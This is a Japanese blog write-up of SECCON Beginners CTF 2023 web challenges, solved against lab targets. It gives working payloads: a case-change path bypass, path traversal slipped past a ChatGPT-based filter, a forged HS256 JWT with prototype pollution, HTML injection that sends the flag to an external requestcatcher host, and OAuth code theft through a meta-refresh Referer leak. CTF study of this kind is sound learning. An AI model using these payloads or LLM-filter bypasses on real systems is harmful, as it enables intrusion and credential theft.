はまやんはまやんはまやん

hamayanhamayan's blog

SECCON Beginners CTF 2023 Web Writeups

[web] Forbidden

webカテゴリーの問題はソースコードが与えられている場合とそうでない場合がある。
与えられている場合は、環境を動かすより前にソースコードを読んで脆弱性を探すことを勧める。
あと、最近ではdocker, docker-composeを使って1発で環境構築ができるようにしてくれているソースコードも多いので、
配慮に甘えて、docker-composeでさっと起動しておくとよい。
細部を動的に確認するのに使えるし、かつ、負荷のかかりそうな検証は手元環境で済ませておくのがマナーとなる。

さて、今回の問題ではソースコードが用意されているので自分がいつも見る順番で細かく解説してみる。

docker-compose.yml

まず、docker-compose.ymlが用意されているので、それを見ていこう。
詳しい読み方は各自勉強してもらうとして、注目すべき点を抜粋する。

  app:
    build: ./app
    env_file: .env

appサービスとしてappフォルダの中身が使われるようだ。
appフォルダの中にDockerfileがあるので、そこでどういったサービスが動いているかは確認できる。

FROM node:19-alpine
...
CMD ["node", "index.js"]

色々書いてあるが、ファイルコピーなどの付帯的作業で、やりたいことは最後の一行。
index.jsをnodeで起動してwebサービスを起動している。

docker-compose.ymlに戻ると.envファイルが環境変数として読み込まれている。

CTF4B_HOST=0.0.0.0
CTF4B_PORT=8080
CTF4B_FLAG=ctf4b{FAKE_FLAG_DO_NOT_SUBMIT}

webサーバーはポートは8080でリッスン(待っている)していて、「環境変数CTF4B_FLAGに回答すべきフラグがある」ようだ。
webサーバーの詳しい中身は後で見てみるとして、docker-compose.ymlに戻ろう。

  nginx:
    build: ./nginx
    volumes:
      - /etc/seccon/_.beginners.seccon.games.crt:/etc/nginx/certs/server.crt:ro
      - /etc/seccon/_.beginners.seccon.games.key:/etc/nginx/certs/server.key:ro
    ports:
      - 80:80
      - 443:443

nginxを起動している。
portsが指定されているので、ポート80,443で接続したときはまずnginxで処理が始まる。
nginxはリバースプロキシのためのアプリケーションであり、これを使って別途立ち上がっているwebサービスにリクエストを中継しているとみられる。
つまり、「ユーザー -> nginx -> app」という通信経路になる。
あと、https用に証明書周りも渡されている。

nginx

nginxはnginx.confに設定が書いてあるので、それを読んでいく。

http {
    server {
        listen 80;
        location / {
            proxy_pass http://app:8080;
        }
    }
}

80でリッスンしていて、そこに来たリクエストをhttp://app:8080に中継する。
appはdocker-composeでの表記と連動していて、このように便利に書ける。
他にも色々書いてあるが、特に目立つような設定はなされていない。

app

ここが本丸。
index.jsを見てみる。
色々抜粋しながら見ていこう。(順番は説明用に改変してます)

var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

expressというエンジンを使ってwebサーバーを立ち上げている。
環境変数からポートとホストを持ってきてサーバー立ち上げに使用している。

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

https://forbidden.beginners.seccon.games/webブラウザで開いたときの応答が記載してある。
もう少し具体的にはwebサーバーに対して/に対してGETリクエストをしたとき(GET /と雑にいつも自分は書いているが)の応答。
このリクエストは決まった応答を返すことしかしていないので特に怪しい所はない。

const FLAG = process.env.CTF4B_FLAG;

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

ここが特に気になる部分。
GET /flagでフラグが手に入りそうだが、blockに入っている関数が先に呼ばれるようになっている。
(Express でのルーティングのルート・ハンドラー参照)
ここを見るとパスに/flagが含まれていると403応答になって、フラグが手に入る return res.send(FLAG); まで到達しないようになっている。
つまり、https://forbidden.beginners.seccon.games/flagでフラグが手に入りそうではあるのだが、blockによってそれができないようになっている。

脆弱性は?

明らかな脆弱性はないように見えるので、攻撃できそうなシナリオを想定して攻めてみよう。
今回はblockの判定を何とか回避できないかを考えてみる。
ここからは正直経験則からアイデアをいくつか持ってきて試す感じになる。
よくある回避方法テクの1つとして大文字小文字を使う方法があり、実際に成功する。
強いて言うなら、このようなブラックリスト方式でのフィルタリング自体が非推奨というか脆弱点というかという風に言えるかもしれない。

String.prototype.includes() - JavaScript | MDN includesは大文字小文字を区別するようだ。 node.jsで試してみる。

$ node
> 'https://forbidden.beginners.seccon.games/flag'.includes('/flag')
true
> 'https://forbidden.beginners.seccon.games/FLAG'.includes('/flag')
false

区別してますね。

では、express側はどうだろうか。
Express routingをみるとpath-to-regexpを使ってパスの判定をしている。
pillarjs/path-to-regexp: Turn a path string such as /user/:name into a regular expression
Readme.mdを見てみるとsensitive When true the regexp will be case sensitive. (default: false)のように記載がある。
Expressで使われ方を見てみると、
express/layer.js at f540c3b0195393974d4875a410f4c00a07a2ab60 · expressjs/express
ここでthis.regexp = pathRegexp(path, this.keys = [], opts);のように呼ばれている。
もうちょっと辿ると
express/route.js at f540c3b0195393974d4875a410f4c00a07a2ab60 · expressjs/express
var layer = Layer('/', {}, handle);と呼ばれていて、opts部分は{}が入っているので、デフォルトのcase insensitiveが採用され、大文字でも小文字でもOKであることがわかる。
(app.useの場合はcaseSensitive?)

ということで、

  • String.prototype.includes()は大文字小文字を区別する
  • app.getのpathは大文字小文字を区別しない

という仕様の差があるのでこれを利用して、フィルタリングを回避できる。具体的には'GET /FLAG'でアクセスすればいい。
これを使うと、

  • String.prototype.includes()は大文字小文字を区別するので、/flagには該当せずブロックされない
  • app.getのpathは大文字小文字を区別しないので、/flagのフローに入り正しく処理される

という感じになり、フラグが手に入る。

まとめ

なので、'https://forbidden.beginners.seccon.games/FLAG'でフラグ獲得。
今回はとても細かく大文字小文字が区別されるかを確認してからフラグ獲得したが、コンテスト中は時間が無いので普通にガチャガチャ試してみるだけでよい。
しかし、このような公式ドキュメントを辿ったり、実際の実装を確認しないと攻撃の糸口が見つけられないことも多くあるため、
やり方としては覚えておく方がいいと思う。

[web] aiwaf

ユーザー入力された文字列をChatGPTに渡してパストラバーサル攻撃と判定されれば弾いて、
そうでなければ入力を使ってパストラバーサル可能なファイル読込に渡すことができる。
ソースコードが与えられているので、抜粋しよう。

...
@app.route("/")
def top():
    file = request.args.get("file")
...
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
...
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")

注目すべき点は最終的に使われる値とAI-WAFに渡される文字列が異なる抜き出し方がされている所である。

  • パストラバーサル攻撃に使われるのは request.args.get("file")
  • AI-WAFが判定に使うのは urllib.parse.unquote(request.query_string)[:50]

普通にやると両者は同じになるが、?dummy=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&file=../flagのようにやれば、

  • パストラバーサル攻撃に使われるのは ../flag
  • AI-WAFが判定に使うのは dummy=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

のようにできて判定をうまくかわせる。

なので、
https://aiwaf.beginners.seccon.games/?dummy=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&file=../flag
とするとフラグ獲得。
フラグを見るとプロンプトインジェクションができるようで、50文字制限があるので恐らく高難易度解法だろう。 ちょっと試してみたが、見つからなかった…

[web] double check

ソースコードが与えられているので怪しそうな点を列挙していこう。

  • index.js
    • user.admin = true;はadminユーザーならついて、そうでないならuser.adminは未定義になる
    • JWTの署名検証だが、署名時はRS256で署名していて、検証時はRS256/HS256とHS256も許可している
    • 78行目~88行目の回りくどさが気になる

任意のJWT作成

配布ファイルをよく見るとprivate.keyはdummyになっているが、public.keyはそれっぽい情報が入っている。
このファイルがサーバ上でも共有だと仮定し、かつ、検証でHS256が許可されていると仮定すると任意のJWTが作成できそうである。
検証後のJWTの内容のverifiedは最終的にtokenとuserにマージされるので、{'admin':true}をJWTに入れてみよう。

POST /flag HTTP/1.1
Host: double-check.beginners.seccon.games
Connection: close
Content-Type: application/json
Content-Length: 0
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0.8jxvy4SLmbsL2IAESZLUbuRKukxhsoWUGliWLyiU0M0
ETag: W/"10-/VnJyQBB0+b7i4NY83P42KKVWsM"
Cookie: connect.sid=s%3ACq7mqz6wTCXdIqrtC5p-pQDnkvmLC3u3.6gvckWa8BQTirSRYvD0zYdL4Rlpw1mE93%2F2H6oNoetM

このようなリクエストを投げてみる。
Cookieの情報は以下のようなリスエストを投げた応答を利用する。

POST /register HTTP/1.1
Host: double-check.beginners.seccon.games
Connection: close
Content-Type: application/json
Content-Length: 45

{"username":"evilman","password":"evilman"}

Authorizationはpublic.keyでHS256を使って署名したものを用意する。
自分は3v4Si0N/RS256-2-HS256: JWT Attack to change the algorithm RS256 to HS256を利用して作成した。
プロジェクトを持ってきて$ python3 RS256_2_HS256_JWT.py '{"admin":true}' public.keyとすればよい。

結果はNo flag for youと帰ってくる。
フラグはもらえなかったが、任意のJWTを受け付けてもらえる状態までは行った。

フィルタリング機構の回避

以下のような機構となっていて、フラグがもらえなかった。

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

セッションに残るユーザー名を検証してadminのユーザー名パスワードでなければlodashを使ってadminプロパティがverifiedから削除される。
よって、その後token,userに追加されてもちゃんと入らなかった。

adminでちゃんとログインするのはかなり難しそうなので、何とか消されない方針を考える。
verifiedでadmin検証をすればよさそうだが、わざわざObject.assignを利用している所に隙がある。

adminユーザー出ない場合はadminプロパティが未定義になるという所と、Object.assignから来る既視感を利用して、Prototype Pollutionがアイデアとして出た。
特に何も考えずにJWTのpayloadを{"__proto__":{"admin":true}}に変更するとフラグが出てくる。
合っていたようだ。

Prototype Pollution

(時間があれば流れを解説。すぐはっきり示せると思っていたが、時間切れ。とりあえず出す)

[web] phisher2

入力を送ると以下のような流れを経るサイトがある。

  1. input_textを<p style="font-size:30px">{text}</p>のようにタグで包んでselenium経由でchrome上で表示してスクリーンショットを取る
  2. スクリーンショットをpyocrにかけて表示されている文字列をOCRで取得してきて、ocr_urlを作る
  3. input_textとocr_urlについて、find_url_in_text関数で先頭からURLっぽいものを取り出してきて再代入する
  4. ocr_urlの先頭がAPP_URL(=https://phisher2.beginners.seccon.games/)と一致しているか確認し、一致していないなら終了
  5. input_textの末尾に?flag={FLAG}をくっつけてGETリクエス

何が要求事項をまとめると、input_textを自身のURL(というよりドメイン)に向けて、かつocr_urlは手順4の検証をpassするような入力を作りたいという問題。
似たような問題を知っていたので、最初、ユニコードだろうと雑に考えて これとかこれとかで試していたがうまくいかない。
先入観を捨てて脆弱性を洗い出すと解けた。

HTML Injectionできる

上記の手順1についてHTMLタグのインジェクションが可能になっている。
これをうまく活用すれば、それ以前に書かれたタグの内容を上書き表示するような入力が作れる。
今回は最終的にはinput_textに任意のデータの送信先が来るようにしたい。
自分はXSSなどで情報の受け手としてrequestcatcherをよく使っているので、具体的には
https://hamayanhamayan.requestcatcher.com/testみたいなのがinput_textに来るようにしたい。
なので、入力の先頭はhttps://hamayanhamayan.requestcatcher.com/testである必要がある。

だが、このままではocr_urlもこれになってしまうので、ここでHTMLタグを差し込むことを考える。
具体的には以下のような入力を入れる。

https://hamayanhamayan.requestcatcher.com/test</p><p style="position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;font-size:30px">https://phisher2.beginners.seccon.games/

こうすると埋め込み結果は以下のようになる。

<p style="font-size:30px">https://hamayanhamayan.requestcatcher.com/test</p>
<p style="position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;font-size:30px">https://phisher2.beginners.seccon.games/</p>

2個目のpタグのstyleで画面全体に広げて背景白で上書きしているので、最初のpタグの情報が完全に隠れ、2個目のpタグの内容だけ画面上に表示されるような形になる。
これでocr_urlの内容は2個目のpタグの中身に強制させることができる。

これだと手順5のinput_textの末尾にフラグがくっつくとリクエスト段階でエラーになりそうな気もするが、
手順3で先頭からURLを抽出してくる手順があるので、
</p>以降が削除され、https://hamayanhamayan.requestcatcher.com/testがinput_textに残るので問題ない。

[web] oooauth

OAuthが題材の問題。
crawler.jsを見るとadminの認証情報を使って、任意のクエリストリングを使って認証サーバの/authへリクエストしてアクセストークンの取得ができる。
結論から話すとうまくやるとadminユーザーに紐づいた認可コード(code)を窃取することができ、
それを使うと自分のセッションとadminユーザーが紐づきフラグが手に入るというよくある感じになる。
redirect_urlを別の所にして認可コードを盗むのと雰囲気は同じであるが、パズルを頑張る必要がある。

HTML Injection

client/views/index.ejsを見ると、32行目の<li><%- scope %></li>エスケープせず表示している部分がある。
scopeが表示されているが、server/client両者のindex.jsを見てもバリデーションはない。
よって、任意の入力がscopeに入り、最終的にここでHTML Injectionとして顕在化する。
CSPの制約が厳しく、任意のjavascriptコード実行までは至らない。

恐らく想定解法ではここを使うだろうと推測されるので、
redirect_urlを全く別のオリジンに指定することはできないのだろう。
(できてしまえば、ここはいらないので)

CSPの制約があってもmetaタグは使えるのでmetaタグを使って動作確認してみよう。
server側でGET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=%3Cmeta/http-equiv=%22refresh%22content=%220;URL=https://[yours].requestcatcher.com/test%22%3Eを表示する。
するとserver/views/report.ejsを使って表示がされるので正しくエスケープされてmetaタグは発動しない。
だが、この状態で既知の認証情報guest:guestを使ってapprove作業をすると、client側でGET /callback?code=6a1ba77a7c4f723f8a53517802afe286のような感じで呼ばれて、その応答にscopesの内容が含まれて、
metaタグが実行されて遷移する。

この時重要なこととして、requestcatcherの応答ログを見てみると、Refererヘッダーに遷移元のURLが載ってきている。
これはtoken漏洩に非常に使えそうである。

redirect_urlの検証不備

redirect_urlはサーバ側のGET /authで渡されたものが使用される。
検証はサーバ側のGET /authGET /tokenで行われる。
だが、どちらも結果的には同じ検証になるので、GET /authだけ以下で見てみよう。

  let redirectUrl;
  try {
    redirectUrl = new URL(redirect_uri);
  } catch(err) {
    res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
    return;
  }

  if (!client.redirect_uris.includes(redirectUrl.origin+redirectUrl.pathname)) {
    res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
    return;
  }

...

  req.session.redirect_uri = redirect_uri;

URLクラスでパースをして、redirectUrl.origin+redirectUrl.pathnameが元々設定済みのcallback用URLと一致しているかを確認している。
ここで重量なのが、検証ではredirectUrl.origin+redirectUrl.pathnameを使っているのに、セッションへはURLクラスに入れる前のデータを使っているという部分である。
かつ、実際に使用するサーバ側のPOST /approveを見ると

  redirectUrl.searchParams.append("code", code.value);
  res.redirect(redirectUrl.href);

のようにredirectUrl.hrefが使われている。

new URL('https://oooauth.beginners.seccon.games:3000/callback?code=6a1ba77a7c4f723f8a53517802afe286')
URL {
  href: 'https://oooauth.beginners.seccon.games:3000/callback?code=6a1ba77a7c4f723f8a53517802afe286',
  origin: 'https://oooauth.beginners.seccon.games:3000',
  protocol: 'https:',
  username: '',
  password: '',
  host: 'oooauth.beginners.seccon.games:3000',
  hostname: 'oooauth.beginners.seccon.games',
  port: '3000',
  pathname: '/callback',
  search: '?code=6a1ba77a7c4f723f8a53517802afe286',
  searchParams: URLSearchParams { 'code' => '6a1ba77a7c4f723f8a53517802afe286' },
  hash: ''
}

パース結果を見ると分かるように、検証で使っているredirectUrl.origin+redirectUrl.pathnameと、
実際に使われているredirectUrl.hrefを比較してみるとクエリストリングの有無が関連している。
よって、redirect_urlの検証という観点では、https://oooauth.beginners.seccon.games:3000/callbackであることは検証できているが、「任意のクエリストリングが追加できる」状態になっている。

方針立て

以上2つの脆弱性を使用することで認可コード漏洩の想定シナリオが立つ。
HTML Injectionの章で最終的にGET /callback?code=6a1ba77a7c4f723f8a53517802afe286を踏むことでmetaタグを実行させることができた。かつ、このURLはよくよく見るとredirect_urlの検証不備によってredirect_urlとして指定できる形になっている。
よって、adminにreportする際のredirect_uriをmetaタグで遷移するようにうまく変更することで、redirect_uriにadminユーザーに紐づいたcodeを載せつつ、metaタグを発動させ、Refererヘッダーからadminユーザーに紐づいたcodeを抜くことができる。

実際は以下の手順では動かないが、まずは概要を理解するために手順を記載する。

  1. [攻撃者] サーバ側でGET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=%3Cmeta/http-equiv=%22refresh%22content=%220;URL=https://[yours].requestcatcher.com/test%22%3Eを開く
  2. [攻撃者] この画面でguest:guestを入力し、POST /approveにサブミット
  3. [攻撃者] リダイレクトでクライアント側のGET /callback?code=XXXXXが帰るが、これは入力せずにInterceptして通信をDropする。ここでcodeを使ってしまうと、adminに踏ませることができない
  4. [攻撃者] サーバ側のPOST /report?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback%3Fcode%3DXXXXX&scopes=xを送る ==== ここからcrawler.js ====
  5. [admin] 送られたクエリストリングを使ってサーバ側でGET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback%3Fcode%3DXXXXX&scopes=xを開く
  6. [admin] adminの認証情報を入力し、POST /approveにサブミット
  7. [admin] 新規codeとしてYYYYYが発行されたとすると、GET /callback?code=XXXXX&code=YYYYYが呼ばれるので踏む
  8. [admin] ここでcode=XXXXXが使用されたとすると、XXXXXに紐づくscopesはmetaタグのものなのでHTML Injectionが発動し、応答のRefererヘッダーを見るとcode=YYYYYが取得でき、認可コードが漏洩する。 ==== ここから攻撃者 ====
  9. [攻撃者] 漏洩したcode=YYYYYを使って、GET /callback?code=YYYYYを呼び、自分のセッションとadminのaccess_tokenを紐づける。これで/flagを開くとフラグ獲得

…で解けそうなのだが、実際は複数codeが存在する場合は、/server/index.jsの204行目で

const codeValue = Array.isArray(req.body.code)? req.body.code.slice(-1)[0] : req.body.code;

という感じに最後のcodeが使われるのでうまくいかない。

code=YYYYYを無効化する

この最後に残った課題も工夫をして回避することができる。
expressではクエリストリングは最大1000個までしか使うことができない。
なので、今はredirect_urihttps://oooauth.beginners.seccon.games:3000/callback?code=XXXXXのように1つだけ渡しているのを既に1000個クエリストリングがある状態で渡せばcode=YYYYYは1001個目になるので無視される。
これはある程度うまくいくのだが、https://oooauth.beginners.seccon.games:3000/callback?code=XXXXX<&a×99個>というのをredirect_uriに指定してみるとエラーになる。
失敗箇所はclient/index.jsのaxios.postで呼んでいる部分で、これは受け取ったクエリストリングにgrant_typeとredirect_uriを追加して呼んでいるためで、req.queryにはcode=YYYYYが無視されて1000個入っているが、そこに2つ追加されて1002個になるので失敗していた。
(誰がエラーに落としているかは未調査ですが…)
増えると困るだけなので、aで埋めているうちの2つをgrant_typeとredirect_uriにしてやれば解決する。
よって、redirect_urihttps://oooauth.beginners.seccon.games:3000/callback?code=XXXXX<&a×97個>&grant_type&redirect_uriにすれば全て解決する。
これでcode=XXXXXによってmetaタグが実行され、Refererヘッダーにはcode=YYYYYが載ってくる。